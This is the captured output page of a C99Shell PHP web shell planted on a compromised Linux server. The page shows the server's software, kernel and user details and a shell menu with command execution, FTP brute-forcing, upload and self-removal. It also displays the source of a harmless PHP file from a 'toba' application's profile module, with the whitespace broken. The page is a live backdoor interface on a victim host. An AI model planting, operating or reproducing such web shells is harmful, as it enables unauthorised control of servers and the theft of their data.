!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/info/componentes_perfil/   drwxr-xr-x
Free 14.74 GB of 61.93 GB (23.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_carpeta_perfil.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
    * Javascript de seleccion en cascada
    * Inspeccionar los nodos para saber si alguno esta activado, si es asi tiene que grabarse tambien.

*/
class toba_carpeta_perfil extends toba_elemento_perfil 
{
    protected 
$icono "nucleo/carpeta.gif";
    protected 
$carpeta true;

    function 
permiso_activo()
    {
        foreach(
$this->hijos as $hijo) {
            if (
$hijo->permiso_activo()) return true;
        }
        return 
false;
    }
    
    
//------------------------------------------------
    //----------- Interface FORM
    
    
function sincronizar()
    {
        foreach(
$this->hijos as $hijo) {
            
$hijo->sincronizar();
        }
        if (
$this->permiso_activo() ) {
            
$this->acceso_actual true;    
        } else {
            
$this->acceso_actual false;
        }
        
parent::sincronizar();    
    }

    function 
set_grupo_acceso($acceso)
    {
        foreach(
$this->hijos as $hijo) {
            
$hijo->set_grupo_acceso($acceso);
        }
        
parent::set_grupo_acceso($acceso);
    }
    
    function 
cargar_estado_post($id){}
    
    function 
get_input($id)
    {
        
$html '';        
        
$id_js $this->id_js_arbol;
        
$id_input $id.'_carpeta';
        if (
$this->comunicacion_elemento_input) {
            
$img_marcar toba_recurso::imagen_toba('aplicar.png'false);
            
$html .= "<img src='$img_marcar' id='".$id_input."_img' onclick='$id_js.marcar(\"{$this->get_id()}\")' />";
        }
        
$html .= "<input type='checkbox' value='1' id='$id_input' name='$id_input' onclick='$id_js.marcar(\"{$this->get_id()}\", this.value)' />";            
        return 
$html;
    }
    
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6089 ]--